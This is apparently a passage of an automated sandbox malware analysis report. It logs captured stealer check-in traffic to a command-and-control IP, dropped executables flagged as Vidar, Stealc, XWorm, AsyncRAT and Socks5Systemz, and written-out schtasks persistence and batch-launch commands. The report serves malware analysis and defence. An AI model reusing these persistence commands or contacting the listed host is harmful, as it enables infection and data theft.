2024-08-30 01:18:31 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 63 32 63 63 33 65 66 65 37 32 34 38 39 34 39 63 66 36 38 66 33 33 64 62 32 32 39 31 62 64 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 63 66 63 32 30 38 37 35 33 31 30 31 36 38 65 38 35 63 61 63 63 38 35 62 66 65 38 63 66 62 39 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 4b 46 42 41 4b 46 42 46 48 49 45 43 46 42 46 49 0d 0a 43 6f 6e 74 Data Ascii: ------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="token"4ac2cc3efe7248949cf68f33db2291bd------DGDBKFBAKFBFHIECFBFIContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------DGDBKFBAKFBFHIECFBFICont
2024-08-30 01:18:32 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:18:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49803	94.130.188.148	443	6784	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-30 01:18:33 UTC	306	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----KEHCGCGCFHIDBFHIIJKJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Host: 94.130.188.148 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-08-30 01:18:33 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 61 63 32 63 63 33 65 66 65 37 32 34 38 39 34 39 63 66 36 38 66 33 33 64 62 32 32 39 31 62 64 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 33 63 66 63 32 30 38 37 35 33 31 30 31 36 38 65 38 35 63 61 63 63 38 35 62 66 65 38 63 66 62 39 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 48 43 47 43 47 43 46 48 49 44 42 46 48 49 49 4a 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------KEHCGCGCFHIDBFHIIJKJContent-Disposition: form-data; name="token"4ac2cc3efe7248949cf68f33db2291bd------KEHCGCGCFHIDBFHIIJKJContent-Disposition: form-data; name="build_id"3cfc20875310168e85cacc85bfe8cfb9------KEHCGCGCFHIDBFHIIJKJCont
2024-08-30 01:18:34 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 30 Aug 2024 01:18:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-08-30 01:18:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	21:16:56
Start date:	29/08/2024
Path:	C:\Users\user\Desktop\kqS23MOytx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\kqS23MOytx.exe"
Imagebase:	0x920000
File size:	9'175'040 bytes
MD5 hash:	439228705BA8CBE4BE1C1BF8343913AC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	21:16:57
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x440000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:16:57
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x930000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	21:17:20
Start date:	29/08/2024
Path:	C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe
Imagebase:	0x290000
File size:	3'058'688 bytes
MD5 hash:	D4AC1A0D0504AB9A127DEFA511DF833E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 68%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	21:17:20
Start date:	29/08/2024
Path:	C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe
Imagebase:	0x4e0000
File size:	5'451'592 bytes
MD5 hash:	0A7F5D0B4DAB9C77DC68DB0EA99B0058
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 75%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	21:17:20
Start date:	29/08/2024
Path:	C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe
Imagebase:	0x400000
File size:	913'051 bytes
MD5 hash:	2F5226B4116CE79AFB6DCB32FA647954
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 11%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:17:20
Start date:	29/08/2024
Path:	C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe
Imagebase:	0x400000
File size:	2'267'560 bytes
MD5 hash:	3618E31C4BBB164B9BA20250D25628A3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000007.00000003.1942337891.00000000027B2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	21:17:20
Start date:	29/08/2024
Path:	C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe
Imagebase:	0x3f0000
File size:	196'648 bytes
MD5 hash:	70567FAE269796BF407322D0A4435054
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000008.00000002.2023155571.00000000035A5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	21:17:20
Start date:	29/08/2024
Path:	C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe
Imagebase:	0x400000
File size:	4'396'288 bytes
MD5 hash:	4D507C9C74752CCC691C56AF0E3C09E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 38%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	21:17:20
Start date:	29/08/2024
Path:	C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe
Imagebase:	0x410000
File size:	1'793'024 bytes
MD5 hash:	9EE7D1FB0F1E8A7A998DA096B4DA22A9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000A.00000002.2689647193.000000000109E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	21:17:20
Start date:	29/08/2024
Path:	C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe
Imagebase:	0x9f0000
File size:	212'520 bytes
MD5 hash:	7FEE72EA1DD13C340355BAA7FE9C574A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 34%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	21:17:20
Start date:	29/08/2024
Path:	C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe
Imagebase:	0x400000
File size:	1'068'804 bytes
MD5 hash:	ABB713CF90E8345C0B6B79345CBDC9D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 8%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	21:17:20
Start date:	29/08/2024
Path:	C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe
Imagebase:	0x740000
File size:	6'497'280 bytes
MD5 hash:	C835AA61191A38F357333FFF57F6C81A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000D.00000002.2094938512.00000000040FD000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000D.00000002.2094938512.00000000041B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000D.00000002.2094938512.0000000004031000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000D.00000002.2094938512.0000000004186000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000000D.00000002.2089299635.0000000003031000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 92%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	21:17:20
Start date:	29/08/2024
Path:	C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe
Imagebase:	0x3c0000
File size:	6'604'864 bytes
MD5 hash:	BD2891236510C953D469E346D092F0C7
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 11%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	21:17:20
Start date:	29/08/2024
Path:	C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe
Imagebase:	0x140000000
File size:	10'902'016 bytes
MD5 hash:	025EBE0A476FE1A27749E6DA0EEA724F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 88%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	21:17:21
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	21:17:21
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	21:17:25
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x6c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000014.00000002.2601275716.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	21:17:25
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x920000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation, Description: Detects executables containing potential Windows Defender anti-emulation checks, Source: 00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	false

Show Windows behavior

Target ID:	22
Start time:	21:17:26
Start date:	29/08/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	23
Start time:	21:17:27
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 8048 -ip 8048
Imagebase:	0x4d0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	21:17:27
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 428 -p 7964 -ip 7964
Imagebase:	0x4d0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	21:17:27
Start date:	29/08/2024
Path:	C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe"
Imagebase:	0xf00000
File size:	3'058'688 bytes
MD5 hash:	D4AC1A0D0504AB9A127DEFA511DF833E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	26
Start time:	21:17:27
Start date:	29/08/2024
Path:	C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp" /SL5="$20478,4121162,54272,C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe"
Imagebase:	0x400000
File size:	696'832 bytes
MD5 hash:	2C8ADD0562CF664E23941305CBCA4E18
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	27
Start time:	21:17:27
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 8048 -s 832
Imagebase:	0x4d0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	21:17:28
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7964 -s 876
Imagebase:	0x4d0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	21:17:28
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf HR" /sc HOURLY /rl HIGHEST
Imagebase:	0xaa0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	21:17:29
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	21:17:30
Start date:	29/08/2024
Path:	C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe" -i
Imagebase:	0x400000
File size:	3'554'571 bytes
MD5 hash:	D59C6831D558B3F9F0B80F1B28DA5C57
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 0000001F.00000002.3075773502.0000000002D61000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Socks5Systemz, Description: Yara detected Socks5Systemz, Source: 0000001F.00000002.3075712791.0000000002CBE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 34%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	21:17:31
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k move Cashiers Cashiers.bat & Cashiers.bat & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	33
Start time:	21:17:31
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	34
Start time:	21:17:31
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf LG" /sc ONLOGON /rl HIGHEST
Imagebase:	0xaa0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	21:17:31
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	21:17:32
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /k move Heritage Heritage.bat & Heritage.bat & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	37
Start time:	21:17:32
Start date:	29/08/2024
Path:	C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe"
Imagebase:	0x400000
File size:	1'312'792 bytes
MD5 hash:	58717509C1521EACFCC7CDA39E6BD45C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000025.00000002.2169528700.0000000002D95000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 00000025.00000002.2260073492.0000000050001000.00000020.00000001.01000000.0000001E.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	21:17:32
Start date:	29/08/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	21:17:33
Start date:	29/08/2024
Path:	C:\ProgramData\jewkkwnf\jewkkwnf.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\jewkkwnf\jewkkwnf.exe
Imagebase:	0x7ff71e800000
File size:	3'058'688 bytes
MD5 hash:	D4AC1A0D0504AB9A127DEFA511DF833E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 68%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	21:17:34
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x500000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	21:17:34
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x2c0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	21:17:35
Start date:	29/08/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x6b0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000002A.00000002.2655648298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_WindDefender_AntiEmaulation, Description: Detects executables containing potential Windows Defender anti-emulation checks, Source: 0000002A.00000002.2655648298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 0000002A.00000002.2758927200.0000000000D9F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	21:17:35
Start date:	29/08/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000002B.00000002.2538051610.0000000005847000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 0000002B.00000002.2538372639.0000000005ED0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 0000002B.00000002.2538372639.0000000005ED0000.00000004.00001000.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	21:17:36
Start date:	29/08/2024
Path:	C:\ProgramData\jewkkwnf\jewkkwnf.exe
Wow64 process (32bit):	true
Commandline:	C:\ProgramData\jewkkwnf\jewkkwnf.exe
Imagebase:	0x70000
File size:	3'058'688 bytes
MD5 hash:	D4AC1A0D0504AB9A127DEFA511DF833E
